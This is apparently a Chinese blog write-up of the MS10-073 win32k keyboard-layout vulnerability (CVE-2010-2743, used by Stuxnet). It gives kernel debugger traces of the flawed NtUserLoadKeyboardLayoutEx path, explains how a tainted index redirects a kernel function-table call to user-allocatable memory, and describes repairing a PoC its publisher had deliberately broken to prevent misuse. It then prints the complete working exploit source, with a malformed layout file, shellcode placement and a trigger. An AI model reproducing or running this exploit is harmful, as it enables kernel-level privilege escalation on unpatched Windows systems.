第一次载入poc crash在这eax=00000000 ebx=00000000 ecx=0000006b edx=e16edaac esi=00000244 edi=00000000eip=8053af99 esp=b264e948 ebp=b264e94c iopl=0 nv up ei pl zr na pe nccs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010246nt!_wcsicmp+0x24:8053af99 668b06movax,word ptr [esi] ds:0023:00000244=????ChildEBP RetAddr Args to Child b264e94c bf89ebfb e16edaac 00000244 00000000 nt!_wcsicmp+0x24b264e964 bf885192 0000004c 00000160 000001ae win32k!LoadKeyboardLayoutFile+0x22b264e9f0 bf884c80 81cf5038 0000004c 08040804 win32k!xxxLoadKeyboardLayoutEx+0x1beb264ed40 8054261c 0000004c 01ae0160 00000000 win32k!NtUserLoadKeyboardLayoutEx+0x158b264ed40 7c92e4f4 0000004c 01ae0160 00000000 nt!KiFastCallEntry+0xfc0012f9d8 0042c59c 0042c80d 0000004c 01ae0160 ntdll!KiFastSystemCallRetWARNING: Frame IP not in any known module. Following frames may be wrong.0012ffd0 8054c6ed 0012ffc8 81d99020 ffffffff 0x42c59c00130008 00000000 000000c4 00000000 00000020 nt!ExFreePoolWithTag+0x40d分析了下crash在这是poc发布者故意这么做的,防止被恶意利用,将NtUserLoadKeyboardLayoutEx的puszKeyboardName参数置0导致的更改poc,增加puszKeyboardName参数InitializeUnicodeStr(&uKerbordname,L"A");更改poc后重新载入,下NtUserLoadKeyboardLayoutEx.text:BF884C17 test ebx, ebx //ebx就是puszKeyboardName参数.text:BF884C19 jzshort loc_BF884C4E.text:BF884C1B moveax, _Win32UserProbeAddress.text:BF884C20 cmpebx, eax //地址要小于_Win32UserProbeAddress.text:BF884C22 jnbshort loc_BF884C26.text:BF884C24 moveax, ebx.text:BF884C26.text:BF884C26 loc_BF884C26: ; CODE XREF: NtUserLoadKeyboardLayoutEx(x,x,x,x,x,x,x)+D0j.text:BF884C26 movecx, 0B1h.text:BF884C2B movesi, eax.text:BF884C2D leaedi, [ebp+var_2F4].text:BF884C33 rep movsd.text:BF884C35 cmp[ebp+var_2F4], 8 //因为puszKeyboardName是unicode_string参数,这里判断unicode_string的max_length必须等于0unciode_string.length必须小于8 .text:BF884C3C jnbloc_BF884B35重新构造pocInitializeUnicodeStr(&uKerbordname,L"A");uKerbordname.MaximumLength=0;在载入后就可以顺利到达SetGlobalKeyboardTableInfo函数这个函数会设置gpKbdNlsTbl 变量,这个变量会在xxxKENLSProcs函数中使用,若不设置,就无法触发漏洞1: kd> kbChildEBP RetAddr Args to Child f87d9944 bf8b238a e1eec3c8 e1eec3c8 e1014128 win32k!SetGlobalKeyboardTableInfof87d9958 bf898e3d e1014128 e1eec3c8 e1014128 win32k!ChangeForegroundKeyboardTable+0x11cf87d9978 bf884f02 e1eec3c8 e21f6978 f87d9d10 win32k!xxxSetPKLinThreads+0x37f87d99f0 bf884c80 81bd5c28 f87d9cd0 08040804 win32k!xxxLoadKeyboardLayoutEx+0x395f87d9d40 8054261c 000007cc 01ae0160 0012ff4c win32k!NtUserLoadKeyboardLayoutEx+0x158f87d9d40 7c92e4f4 000007cc 01ae0160 0012ff4c nt!KiFastCallEntry+0xfc......ChildEBP RetAddr Args to Child f87d9c88 bf84880e f87d9cc8 00000000 00000000 win32k!xxxKENLSProcs----->vulnf87d9ca4 bf8c356c f87d9c00 00000000 00000001 win32k!xxxProcessKeyEvent+0x1f9f87d9ce4 bf8c342c 00000000 00000000 00000000 win32k!xxxInternalKeyEventDirect+0x158f87d9d0c bf8c32aa 00000001 e17ad798 f87d9d64 win32k!xxxSendInput+0xa2f87d9d50 8054261c 00000001 0012ff10 0000001c win32k!NtUserSendInput+0xcd1: kd> pwin32k!xxxKENLSProcs+0x52:bf847342 0fb6887dffffff movzx ecx,byte ptr [eax-83h]1: kd> db eax-83e20cdf7b 05 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ //POC中的e20cdf8b 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................e20cdf9b 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................e20cdfab 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................e20cdfbb 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................e20cdfcb 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................e20cdfdb 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................e20cdfeb 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................1: kd> pwin32k!xxxKENLSProcs+0x59:bf847349 57 push edi1: kd> pwin32k!xxxKENLSProcs+0x5a:bf84734a 057cffffffaddeax,0FFFFFF7Ch1: kd> pwin32k!xxxKENLSProcs+0x5f:bf84734f 50 push eax1: kd> pwin32k!xxxKENLSProcs+0x60:bf847350 ff148d38af99bf call dword ptr win32k!aNLSVKFProc (bf99af38)[ecx*4] //ecx is tainted1: kd> reax=e20cdf7a ebx=00008000 ecx=00000005 edx=00000000 esi=e20cdf7a edi=f87d9cc8eip=bf847350 esp=f87d9c74 ebp=f87d9c88 iopl=0 nv up ei ng nz ac po cycs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000293win32k!xxxKENLSProcs+0x60:bf847350 ff148d38af99bf call dword ptr win32k!aNLSVKFProc (bf99af38)[ecx*4] ds:0023:bf99af4c=606362611: kd> db 6063626160636261 90 90 90 90 c2 0c 00 90-90 90 90 90 90 90 90 90 ................60636271 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................60636281 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................60636291 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................606362a1 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................606362b1 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................606362c1 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................606362d1 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................1: kd> dd bf99af38 //aNLSVKFProcbf99af38 bf9321b7 bf9325f9 bf93263f ff696867bf99af48 ff666564 60636261 0000006e 002c006abf99af58 00000000 01030091 01130090 00000000bf99af68 01130090 00030091 00000000 01030013bf99af78 01030091 00000000 02110110 00000412第6个地址可以在r3下通过VirtualAlloc来进行分配可读可写可执行的内存到这个地方,这个地方填充shellcode便可以执行任意代码,执行完毕后,通过ret 0c 返回到内核空间 。完整poc:
// ms10-73.cpp : 定义控制台应用程序的入口点。//#include "stdafx.h"#include <windows.h>#include <stdio.h>#include <ntsecapi.h>#define MAGIC_OFFSET 0x6261#define InitializeUnicodeStr(p,s) {\(p)->Length= wcslen(s)*2; \(p)->MaximumLength = wcslen(s)*2+2; \(p)->Buffer = s;\}_declspec(naked) HKL __stdcall NtUserLoadKeyboardLayoutEx(IN HANDLE Handle,IN DWORD offTable,IN PUNICODE_STRING puszKeyboardName,IN HKL hKL,IN PUNICODE_STRING puszKLID,IN DWORD dwKLID,IN UINT Flags){__asm{mov eax, 000011c6hmov edx, 7ffe0300hcall dword ptr [edx]retn 1Ch}}unsigned char shellcode[]="\x90\x90\x90\x90\xC2\x0C\x00\x90\x90";unsigned char fakeDll[]="\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00""\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00""\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00""\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00""\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00""\x00\x00\x00\x00\xE0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00""\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00""\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00""\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00""\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00""\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00""\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00""\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00""\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00""\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00""\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00""\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00""\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00""\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00""\x00\x00\x00\x00\x00\x00\x00\x00\x2E\x64\x61\x74\x61\x00\x00\x00""\xE6\x00\x00\x00\x60\x01\x00\x00\xE6\x00\x00\x00\x60\x01\x00\x00""\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00""\x94\x01\x00\x00\x9E\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"//crash??"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00""\xA6\x01\x00\x00\xAA\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00""\x00\x00\x00\x00\x9C\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00""\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00""\x00\x00\x01\x00\x00\x00\xC2\x01\x00\x00\x00\x00\x00\x00\x00\x00""\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"//index"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00""\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00""\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00""\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00""\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00""\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00""\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00""\x00\x00\x00\x00\x00\x00";int g_cr0;int _tmain(int argc, _TCHAR* argv[]){UNICODE_STRING uStr;UNICODE_STRING uKerbordname;KEYBDINPUTkb={0};INPUT vInput={0};HANDLEhFile;DWORD dwFuckS0ny;HKL hKbd;WCHAR lpPath[MAX_PATH]={0};WCHAR lpLayoutFile[MAX_PATH]={0};LPVOIDlpShellPtr;printf("\n\nMS10-073/CVE--2743 Exploit\n");printf("Ruben Santamarta - \n\n");LoadLibraryA("user32.dll");InitializeUnicodeStr(&uStr,L"pwn3d.dll");//fix by instruderInitializeUnicodeStr(&uKerbordname,L"A");uKerbordname.MaximumLength=0;GetTempPathW( MAX_PATH, lpPath );wsprintf( lpLayoutFile, L"%lSp0wns.boom111", lpPath);hFile = CreateFileW(lpLayoutFile,GENERIC_READ|GENERIC_WRITE,FILE_SHARE_READ|FILE_SHARE_WRITE,0,CREATE_ALWAYS,0,0);if( hFile == INVALID_HANDLE_VALUE ){printf(" \n[!!] Error\n");exit(0);}WriteFile( hFile,fakeDll,sizeof(fakeDll)-1,&dwFuckS0ny,NULL);printf("\n[+] Writing malformed kbd layout file \n\t\"%S\"\n\t[ %d ] bytes written\n",lpLayoutFile,dwFuckS0ny);CloseHandle(hFile);hFile = CreateFileW (lpLayoutFile,GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,0,0);if( hFile == INVALID_HANDLE_VALUE ){printf(" \n[!!] Error\n");exit(0);}hKbd = GetKeyboardLayout( GetWindowThreadProcessId( GetForegroundWindow(), &dwFuckS0ny ) );printf("\n[+] Loading it...[ 0x%x ]\n", NtUserLoadKeyboardLayoutEx( hFile, 0x01AE0160,&uKerbordname, hKbd, &uStr, 0x666, 0x101 ) );// /*HKL NTAPI NtUserLoadKeyboardLayoutEx(IN HANDLE Handle,IN DWORD offTable,IN PUNICODE_STRING puszKeyboardName,IN HKL hKL,IN PUNICODE_STRING puszKLID,IN DWORD dwKLID,IN UINT Flags )*/lpShellPtr = VirtualAlloc( (LPVOID)0x60630000,0xF000,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);printf("\n[+] Allocating memory...");if( !lpShellPtr ){printf("[!!] Error %x\n",GetLastError());exit(0);}else{printf("[ OK ]\n");}memset( lpShellPtr, 0x90, 0xF000);memcpy( ( void* )( ( ULONG_PTR ) lpShellPtr + MAGIC_OFFSET ),( const void* )shellcode,sizeof( shellcode ) - 1 );kb.wVk = 0x0;vInput.type = INPUT_KEYBOARD;vInput.ki = kb;printf("\n[+] Triggering shellcode...");SendInput( 1, ( LPINPUT ) &vInput, sizeof( INPUT ) );printf("\n[+] Done\n");int startshellcode,endshellcode;WinExec("CMD",0);Sleep(1000222);return 0;}//
资料 /thread-1930-1-1.html/index.php?option=com_content&task=view&id=71&Itemid=1/blog/1018.Stuxnet_Win32k_Windows_Kernel_0Day_Exploit_CVE--2743.php